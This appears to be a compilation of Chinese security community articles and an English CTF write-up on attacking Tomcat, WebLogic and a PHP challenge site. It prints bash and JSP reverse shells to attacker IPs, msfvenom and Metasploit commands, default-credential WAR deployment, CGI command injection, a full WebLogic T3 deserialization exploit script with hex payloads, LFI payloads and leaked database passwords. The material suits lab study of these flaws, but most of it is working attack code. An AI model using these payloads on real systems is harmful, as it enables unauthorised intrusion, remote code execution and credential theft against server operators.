CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞，由于 Tomcat
AJP协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件，例如可以读取
webapp配置文件或源码。
此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。
## 漏洞原理
Tomcat 配置了两个Connecto，它们分别是 HTTP 和 AJP
：HTTP默认端口为8080，处理http请求，而AJP默认端口8009，用于处理 AJP
协议的请求，而AJP比http更加优化，多用于反向、集群等，漏洞由于Tomcat
AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件以及可以包含任意文件，如果有某上传点，上传图片马等等，即可以获取shell
tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供的HTTP协议端口，另外一个就是默认的8009
AJP协议端口，两个端口默认均监听在外网ip。
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息，prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性
因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
然后封装成对应的request之后,继续走servlet的映射流程如下
## 漏洞复现
启动CVE-2020-1938的docker环境
首先使用poc进行漏洞检测，若存在漏洞则可以查看webapps目录下的所有文件
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py #py2环境
这里查看8009端口下的`web.xml`文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml
使用bash反弹shell
bash -i >& /dev/tcp/192.168.1.8/8888 0>&1
因为是java的原因所以需要转换一下，使用<http://www.jackson-t.ca/runtime-exec-payloads.html，转换结果如下>
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
生成一个`test.txt`，这里只需要换payload就可以
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
bp抓包把`test.txt`上传到docker容器
nc开启端口监听
即可获得一个交互型shell
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f test.txt
这里为了方便，上线到msf上进行操作，首先生成一个`shell.txt`
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > shell.txt
抓包将`shell.txt`上传到docker
msf开启监听，注意payload使用`java/jsp_shell_reverse_tcp`
再使用poc反弹即可上线
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f shell.txt
# 弱口令&war远程部署
## 漏洞原理
在tomcat8环境下默认进入后台的密码为tomcat/tomcat，未修改造成未授权即可进入后台
## 漏洞复现
进入`tomcat8`的docker环境
访问后台管理地址，使用tomcat/tomcat进入后台
http://192.168.1.8:8080//manager/html
进入到了后台的页面
看到这里有一个上传war包的地方，这里很多java的中间件都可以用war远程部署来拿shell，tomcat也不例外
首先将ice.jsp打包成test.war
jar -cvf test.war .
点击上传即可看到上传的test.war已经部署成功
访问一下没有报错404那么应该已经上传成功
使用冰蝎连接即可得到shell
这里也可以用msf里面的`exploit/multi/http/tomcat_mgr_upload`模块
use exploit/multi/http/tomcat_mgr_upload
set HttpPassword tomcat
set HttpUsername tomcat
set rhost 192.168.1.8
set rport 8080
run
运行即可得到一个meterpreter
# CVE-2019-0232
CVE-2019-0232为Apache Tomcat RCE
## 漏洞原理
漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java
中，CGIServlet提供了一个cgi的调用接口，在启用 enableCmdLineArguments 参数时，会根据RFC
3875来从Url参数中生成命令行参数，并把参数传递至Java的 Runtime 执行。 这个漏洞是因为 Runtime.getRuntime().exec
在Windows中和Linux中底层实现不同导致的
Java的 `Runtime.getRuntime().exec` 在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是
`CreateProcess` ，会将参数合并成字符串，作为 `lpComandLine` 传入 `CreateProcess` 。程序启动后调用
`GetCommandLine` 获取参数，并调用 `CommandLineToArgvW` 传至 argv。在Windows中，当
`CreateProcess` 中的参数为 bat 文件或是 cmd 文件时，会调用 `cmd.exe` , 故最后会变成 `cmd.exe /c
"arg.bat & dir"`，而Java的调用过程并没有做任何的转义，所以在Windows下会存在漏洞
## 漏洞复现
启动tomcat
访问一下已经启动成功
Tomcat的 CGI_Servlet组件默认是关闭的，在`conf/web.xml`中找到注释的
CGIServlet部分，去掉注释，并配置enableCmdLineArguments和executable
这里注意一下，去掉注释并添加以下代码
enableCmdLineArguments启用后才会将Url中的参数传递到命令行
executable指定了执行的二进制文件，默认是perl，需要置为空才会执行文件本身。
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
然后在conf/web.xml中启用cgi的 servlet-mapping
修改conf/context.xml的添加 privileged="true"属性，否则会没有权限
添加true
<Context privileged="true">
在`C:\Tomcat\webapps\ROOT\WEB-INF`下创建`cgi-bin`目录
在该目录下创建一个hello.bat
然后重启tomcat环境
访问`http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe`即可弹出计算器，这里构造系统命令即可
# manager App暴力破解
## 漏洞原理
后台密码用base64编码传输，抓包解密即可得到后台密码，也可以进行爆破
## 漏洞复现
这里访问`http://192.168.1.8:8000/manager/html`进行抓包，在没有输入帐号密码的时候是没有什么数据的
把这个包放过去，会请求输入用户名和密码，再进行抓包
就可以得到`Authorization`这个字段，这个字段有一个`Basic`，就是base64加密的意思
这里直接放到base64解密得到`tomcat:tomcat`的密码
进入后台之后再次抓包可以看到有一个cookie，但是没有了`Authorization`这个字段
我们可以对字段进行爆破，加上`Authorization`即可
去掉自带的编码
攻击即可拿到账号密码
欢迎关注公众号 **红队蓝军** | 社区文章 |
### Java反序列化
序列化：把对象转换为字节序列的过程。
反序列化：把字节序列恢复为对象的过程。
##### JDK类库中的序列化API
java.io.ObjectOutputStream代表对象输出流，它的writeObject(Object
obj)方法可对参数指定的obj对象进行序列化，把得到的字节序列写到一个目标输出流中。
java.io.ObjectInputStream代表对象输入流，它的readObject()方法从一个源输入流中读取字节序列，再把它们反序列化为一个对象，并将其返回。
**在Java中，对象的序列化与反序列化被广泛应用到RMI(远程方法调用)及网络传输中。**
##### Java序列化数据解析
数据开头为“AC ED 00 05”，数据内容包含了包名与类名、类中包含的变量名称、类型及变量的值。
ava.io.ObjectStreamConstants类中定义了STREAM_MAGIC与STREAM_VERSION，查看JDK1.5、1.6、1.7、1.8的ObjectStreamConstants类，STREAM_MAGIC值均为0xaced，STREAM_VERSION值均为5。
##### 影响范围
Breenmachine的这篇blog让java反序列化漏洞得到更多的关注，他介绍了如何利用Java反序列化漏洞，来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用，实现远程代码执行。
##### 漏洞原理
如果Java应用对用户输入，即不可信数据没有进行校验而直接做了反序列化处理，那么攻击者可以通过构造恶意输入，让反序列化产生非预期的对象，非预期的对象在产生过程中就有可能带来任意代码执行。
### Apache Commons Collections
Apache Commons
Collections是一个扩展了Java标准库里的Collection结构的第三方基础库，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件，Commons
Collections被广泛应用于各种Java应用的开发。
该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法，并且该方法在相关对象反序列化时并未进行任何校验.
Apache Commons Collections中提供了一个Transformer的类，这个接口的的功能就是把一个对象转换为另一个对象。
图上红框标注的是java反序列化漏洞的poc包含的类。
invokeTransformer：Transformer implementation that creates a new object
instance by reflection.（通过反射，返回一个对象）
ChainedTransformer：Transformer implementation that chains the specified
transformers together.（把transformer连接成一条链，对一个对象依次通过链条内的每一个transformer进行转换）
ConstantTransformer：Transformer implementation that returns the same constant
each time.（把一个对象转化为常量，并返回）
InvokerTransformer是比较关键的一个类，我们来看看它的实现：
我们可以看到该该方法中采用了反射的方法进行函数调用，Input参数为要进行反射的对象(反射机制就是可以把一个类,类的成员(函数,属性),当成一个对象来操作,希望读者能理解,也就是说,类,类的成员,我们在运行的时候还可以动态地去操作他们.)，iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型，iArgs为对应方法的参数，在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数
POC：
Poc解读：整个poc的逻辑可以这么理解，构建innerMap的键值对，为其赋值，利用Transformed的decorate方法，可以对Map数据结构的key，value进行transform。该方法有三个参数，第一个为待转化的map对象，第二个为map对象内的key要经过的转化方法，第三个参数为map对象内的value要经过的转化方法。
TransformedMap.decoreate(目标map，key的转化对象（null或者单个链），value的转化对象)
poc对innerMap的value进行转换，当innerMap的value执行完一个完整的转换链，就完成了命令执行。
如果Java应用没有对传入的序列化数据进行安全性检查，我们可以将恶意的TransformedMap序列化后，远程提交给Java应用，如果Java应用可以触发变换，即可成功远程命令执行。那如何让Java应用触发Transformer的变换呢？
在进行反序列化时，我们会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject()，那么该类在进行反序列化时，Java会优先调用重写的readObject()方法。
结合前述Commons
Collections的特性，如果某个可序列化的类重写了readObject()方法，并且在readObject()中对Map类型的变量进行了键值修改操作，并且这个Map变量是可控的，就可以实现我们的攻击目标了。
我们观察到java运行库中有这样一个类AnnotationInvocationHandler，这个类有一个成员变量memberValues是Map类型.
AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数。
因此，我们只需要使用前面构造的Map来构造AnnotationInvocationHandler，进行序列化，当触发readObject()反序列化的时候，就能实现命令执行。
这段POC本质上就是利用反射调用Runtime() 执行了一段系统命令，作用等同于：
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");
### Weblogic Exploit
Oracle Weblogic **T3** Deserialization Remote Code Execution Vulnerability
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
weblogic
采用T3协议进行序列化数据的传输，可以看到weblogic发送的JAVA序列化数据分为6个部分，第一部分的前四个字节为整个数据包的长度，第2-6部分均为JAVA序列化数据。经测试，必须先发送T3协议头数据包，再发送JAVA序列化数据包，才能使weblogic进行JAVA反序列化，进而触发漏洞。如果只发送JAVA序列化数据包，不先发送T3协议头数据包，无法触发漏洞。
##### CVE-2015-4852
blacklist
org.apache.commons.collections.functors*
com.sun.org.apache.xalan.internal.xsltc.trax*
javassist*
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
CVE-2015-4852的反序列化的点有三个：
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
后面的几个漏洞实质都是对黑名单的一个绕过。
##### CVE-2016-0638
原理将反序列化的对象封装进了 weblogic.corba.utils.MarshalledObject，然后再对 MarshalledObject
进行序列化，生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里，可正常反序列化，在反序列化时
MarshalledObject 对象调用 readObject 时对 MarshalledObject
封装的序列化对象再次反序列化，这样就逃过了黑名单的检查。
##### CVE-2017-3248
利用了黑名单之外的反序列化类，通过 JRMP 协议达到执行任意反序列化 payload。（Java远程消息交换协议 JRMP 即 Java Remote
MessagingProtocol ，是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI
之下、TCP/IP 之上的线路层协议。）
下面给出一段在tenable找的描述
In the case of WebLogic, we are interested in yososerial's JRMPListener.java payload. This serializes a RemoteObjectInvocationHandler which uses a UnicastRef object to establish a TCP connection to a remote server in order to get at the remote server's RMI registry. This connection uses JRMP so the client will deserialize whatever the server responds with, achieving unauthenticated remote code execution.
Exploiting WebLogic
To demonstrate the issue to ZDI and Oracle, Tenable created two scripts. The first script is a server that listens for the callback, called jrmp_listener.py. When the connect back connects to jrmp_listener.py it will send a CommonCollections3 payload in response which will trigger the RCE on WebLogic. The second script sends the serialized object to WebLogic via t3 on TCP port 7001 (just like the original FoxGlove attack), called jrmp_connect_back.py. In order to exploit WebLogic, jrmp_listener.py must be executed before jrmp_connect_back.py. The result of the exploitation will cause the connect back, which exists on its own thread, to be executed multiple times (which means an attacker could deliver multiple payloads).
### 漏洞利用
漏洞利用的步骤：
1.找到一个接受外部输入的序列化对象的接收点，即反序列化漏洞的触发点。
2.应用的Class Path中是否包含Apache Commons Collections库（ysoserial所支持的其他库也行）
3.使用ysoserial来生成反序列化的payload，指定库名和想要执行的命令即可。
4.通过先前找到的传入对象方式进行对象注入，数据中载入payload，触发受影响应用中ObjectInputStream的反序列化操作，随后通过反射调用Runtime.getRunTime.exec即可完成利用。
最关键的是用恶意的序列化数据去替换正常的序列化数据
##### ysoserial
[ysoserial](https://github.com/frohoff/ysoserial)
下面给出一个'CVE-2016-0638','CVE-2016-3510','CVE-2017-3248'的无害poc
# -*- coding: utf-8 -*- import socket
import time
import re
#
# @author [email protected]
# reffer: nessus
#
VUL=['CVE-2016-0638','CVE-2016-3510','CVE-2017-3248']
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078']
VER_SIG=['weblogic.jms.common.StreamMessageImpl','org.apache.commons.collections.functors.InvokerTransformer','\\$Proxy[0-9]+']
def t3handshake(sock,server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print 'handshake successful'
def buildT3RequestObject(sock,port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))
def sendEvilObjData(sock,data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception as e:
pass
return res
def checkVul(res,server_addr,index):
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
else:
print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])
def run(dip,dport,index):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
sock.settimeout(50)
server_addr = (dip, dport)
t3handshake(sock,server_addr)
buildT3RequestObject(sock,dport)
rs=sendEvilObjData(sock,PAYLOAD[index])
checkVul(rs,server_addr,index)
if __name__=="__main__":
dip = '10.8.56.17'
dport = 7001
for i in range(0,len(VUL)):
run(dip,dport,i)
漏洞验证环境可以用phith0n牛的weblogic环境：[weak_password](https://github.com/phith0n/vulhub/tree/master/weblogic/weak_password) | 社区文章 |
> Author：@intrd
> Form：<http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-> upload-alternative-way-to-easy_php-n1ctf2018/>
This weekend me and @[shrimpgo](https://www.linkedin.com/in/renatocarneirop/)
decided to try some CTF, noticed that [N1CTF2018](http://n1ctf.xctf.org.cn/)
are running. Quickly joined and there's a lot of challenges, but this unsolved
**easy php** called our attention.
I doubt it was easy, several hours of CTF had already passed and it remained
unsolved.
## Challenge details
Not racing, just enjoying the slow pace of life :)
http://47.97.221.96, Mirror: http://47.97.221.96:23333/
**Dockerfile**
FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5
ADD nu1lctf.tar.gz /app/
RUN apt-get update
RUN a2enmod rewrite
COPY sql.sql /tmp/sql.sql
COPY run.sh /run.sh
RUN mkdir /home/nu1lctf
COPY clean_danger.sh /home/nu1lctf/clean_danger.sh
RUN chmod +x /run.sh
RUN chmod 777 /tmp/sql.sql
RUN chmod 555 /home/nu1lctf/clean_danger.sh
EXPOSE 80
CMD ["/run.sh"]
## Enumeration
Starting the enumeration of provided web service.
There's a login page, If you try to log in with any credential you will
receive the `code error` message. And apparently the username/password check
is not even executed.
Ok, they are leaking this sentence `Code(substr(md5(?), 0, 5) === b5152)`,
looks like part of code checking function.. checking only the **first 5
bytes** of md5("code"). And this 5 bytes changes on every refresh.
> You need to solve a **Proof-Of-Work** , send the result with the login
> request. I believe they did this to minimize brute-force abuse. Very common
> in CTF challenges.
So, I leave this aside and continued my enumeration...
### Source code leaking
By brute-forcing **common filenames and directories** we was able to leak the
entire source code of the web application:
# Web application files & scripts
http://47.97.221.96:23333/index.php
http://47.97.221.96:23333/config.php
http://47.97.221.96:23333/user.php
http://47.97.221.96:23333/static
# Backup files leaking the source code
http://47.97.221.96:23333/index.php~
http://47.97.221.96:23333/config.php~
http://47.97.221.96:23333/user.php~
# PHP scripts without .php extension leaking the views source code
http://47.97.221.96:23333/views
http://47.97.221.96:23333/views/delete
http://47.97.221.96:23333/views/index
http://47.97.221.96:23333/views/login
http://47.97.221.96:23333/views/profile
http://47.97.221.96:23333/views/publish
http://47.97.221.96:23333/views/register
# "Useless" phpinfo() running over command line: <?php system("php -r \"phpinfo();\"") ?>
http://47.97.221.96:23333/views/phpinfo
From the **config.php** source code we are able to extract the **mysql user
password**.
* MySQL user password: `Nu1L / Nu1Lpassword233334`.
## Local File Inclusion (LFI)
Analyzing the leaked source code we found that
`http://47.97.221.96:23333/index.php?action=login` are vulnerable to LFI.
Now we can read any file on the system that our user have permission w/ this
payload: `http://47.97.221.96:23333/index.php?action=../../etc/passwd`
The provided **Dockerfile** are showing us some interesting info and **file
paths** that we can read using the LFI.
Starting by the `FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5` docker
container confirming the version of **php** , **apache and mysql**.
### /run.sh script
#!/bin/bash
chown www-data:www-data /app -R
if [ "$ALLOW_OVERRIDE" = "**False**" ]; then
unset ALLOW_OVERRIDE
else
sed -i "s/AllowOverride None/AllowOverride All/g" /etc/apache2/apache2.conf
a2enmod rewrite
fi
# initialize database
mysqld_safe --skip-grant-tables&
sleep 5
## change root password
mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('Nu1Lctf%#~:p') WHERE user='root';FLUSH PRIVILEGES;"
## restart mysql
service mysql restart
## execute sql file
mysql -uroot -pNu1Lctf\%\#~\:p < /tmp/sql.sql
## crontab
(while true;do rm -rf /tmp/*;sleep 2;done)&
## rm sql
cd /tmp/
rm sql.sql
rm /var/www/phpinfo
source /etc/apache2/envvars
tail -F /var/log/apache2/* &
exec apache2 -D FOREGROUND
Found MySQL user password and some system info.
* **MySQL root password** : `root / Nu1Lctf%#~:p`
We also tried to fuzz common paths, /proc's, file descriptors etc.. to get
more information about the system.
Not much found, just confirmed the user are running apache2, cmdline, some log
paths that we do not have permission to access and Linux header `Linux
df551128a261 3.13.0-30-generic #54-Ubuntu SMP Mon Jun 9 22:45:01 UTC 2014
x86_64`.
The [PHP Filters & wrappers](http://php.net/manual/en/wrappers.php) are also
enabled.
Registered PHP Streams => https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transports => tcp, udp, unix, udg, ssl, sslv3, tls
Registered Stream Filters => zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, mcrypt.*, mdecrypt.*
But we cannot find a way to use it because the `require_once
'views/'.$_GET['action'];` this `views/` prefix we need to escape with `../`
in order to get a **LFI** and it not works with the `php://`. **(if u know a
way, plz tell me)**
## MD5 collision PoW
With all enumerated information about the system and even **without a RCE** we
decided to solve the md5 collision to start attacking the login system.
So, the `user.php~` are leaking all the login process details.
Breaking the code into pieces, this `if(substr(md5($_POST['code']),0,
5)!==$_SESSION['code'])` is mandatory to solve in order to poke the
register/login credentials checking functions.
This code is stored in `session cookie` we leak the content but cannot control
it (yet).
If the system return the `Invalid user name` means that we have sent the
correct `code`.
**MD5 first 5 bytes hash collision generator**
We quickly wrote this code to get a valid collision.
<?php
## MD5 first 5 bytes hash collision generator - solution to easy_php @ N1CTF2018
# solved by intrd & shrimpgo - p4f team
## 1st create a wordlist: crunch 4 4 1234567890abcdefghijklmnopqrstuvwxyz_ -o file.txt
$_SESSION['code']=$argv["1"];
echo "** searching for: ".$_SESSION['code']."\n";
if ($file = fopen("file.txt", "r")) {
while(!feof($file)) {
$line = trim(fgets($file));
$_POST['code'] = $line;
if(substr(md5($_POST['code']),0, 5)===$_SESSION['code']){
echo "yeah!\n".md5($line);
echo ":\n".$line."\n";
die();
}
}
fclose($file);
}
?>
## Gaining System Access
